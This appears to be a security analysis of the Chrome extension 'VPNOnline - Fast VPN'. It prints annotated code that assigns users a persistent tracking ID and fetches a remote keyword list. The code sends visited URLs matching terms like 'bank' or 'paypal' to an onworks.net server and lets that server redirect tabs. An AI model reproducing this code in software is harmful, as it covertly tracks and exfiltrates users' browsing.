Is VPNOnline - Fast VPN for Chrome safe?

// If a stored ID exists, reuse it; otherwise generate a fresh one.
// xdfty0(10) picks 10 random alphanumeric characters.
if (opcA.usercx) {
  usercx = opcA.usercx;         // Reuse existing ID across sessions
} else {
  usercx = xdfty0(10);          // Generate new 10-char random ID
  opcA.usercx = usercx;
}
un = usercx;                    // Global alias used in exfil requests

// Persist the ID so it survives service-worker restarts
const stox = {};
stox[apkon_key] = opcA;
await chrome.storage.local.set(stox);

// Runs on every top-level page navigation (frameId === 0 guard filters sub-frames)
if (viene && viene.url) {
  if (viene.frameId !== 0) { return; }  // Skip iframes
  if (!viene.transitionType.includes('frame')) {  // Skip frame-only transitions
    linkrev = viene.url;  // Store current URL globally

    chrome.storage.local.get('ftdata', function(result) {
      if (!result.ftdata) { return; }  // No keyword list yet — skip

      // Strip <xml>...</xml> wrapper if present, then split on ';'
      let data = result.ftdata.trim();
      if (data.startsWith('<xml>') && data.endsWith('</xml>')) {
        data = data.substring(5, data.length - 6);
      }
      const keywords = data.split(';').map(k => k.trim()).filter(k => k.length > 0);

      for (const keyword of keywords) {
        if (linkrev.includes(keyword)) {
          // URL matches a keyword — exfiltrate it with the tracking ID
          checkln(linkrev + '|||xx', un);
          return;  // Only report once per navigation
        }
      }
    });
  }
}

// Sends the visited URL + tracking ID to the remote server.
// urrxxx = visitedUrl + '|||xx'  (literal suffix appended by caller)
// un     = persistent 10-char user tracking ID
async function checkln(urrxxx, un) {
  // b2x() hex-encodes the URL string byte-by-byte
  const reportUrl = 'https://www.onworks.net/media/system/app/runos/c-vpn3-v3x.php'
    + '?dx=&url=' + b2x(urrxxx)
    + '&hex=1'
    + '&u=' + un;

  const response = await fetch(reportUrl);

  if (response.status === 200) {
    const body = await response.text();
    // If server responds with '302', redirect the active tab to a warning page
    // (server-controlled tab redirect capability)
    if (body.includes('302')) {
      const alertUrl = 'https://www.onworks.net/media/system/app/runos/alert-vpn.php?url=' + b2x(urrxxx);
      chrome.tabs.update(chrome.tabs.getCurrent().id, { url: alertUrl });
    }
  }
}

// Called on every navigation event; only performs a fetch if >= 1 hour has elapsed.
const KEYWORD_LIST_URL = 'https://www.onworks.net/gtranslate/api/ft.php';
const STORAGE_KEY_DATA  = 'ftdata';   // Where the keyword list is cached
const STORAGE_KEY_TIME  = 'lfTime';   // Timestamp of last successful fetch
const now = Date.now();

chrome.storage.local.get([STORAGE_KEY_TIME], function(result) {
  const lastFetchTime = result[STORAGE_KEY_TIME] || 0;

  // Only refresh if more than 1 hour has passed
  if (now - lastFetchTime < 3_600_000) { return; }

  fetch(KEYWORD_LIST_URL)
    .then(r => r.text())
    .then(data => {
      // Cache the new keyword list and update the timestamp
      chrome.storage.local.set({
        [STORAGE_KEY_DATA]: data,   // e.g. "<xml>bank;paypal;login;password</xml>"
        [STORAGE_KEY_TIME]: now
      });
    })
    .catch(err => {
      // On failure, disable the proxy
      chrome.storage.local.set({ activeIp: false });
      setProxyXdisabled({ value: { mode: 'direct' } });
    });
});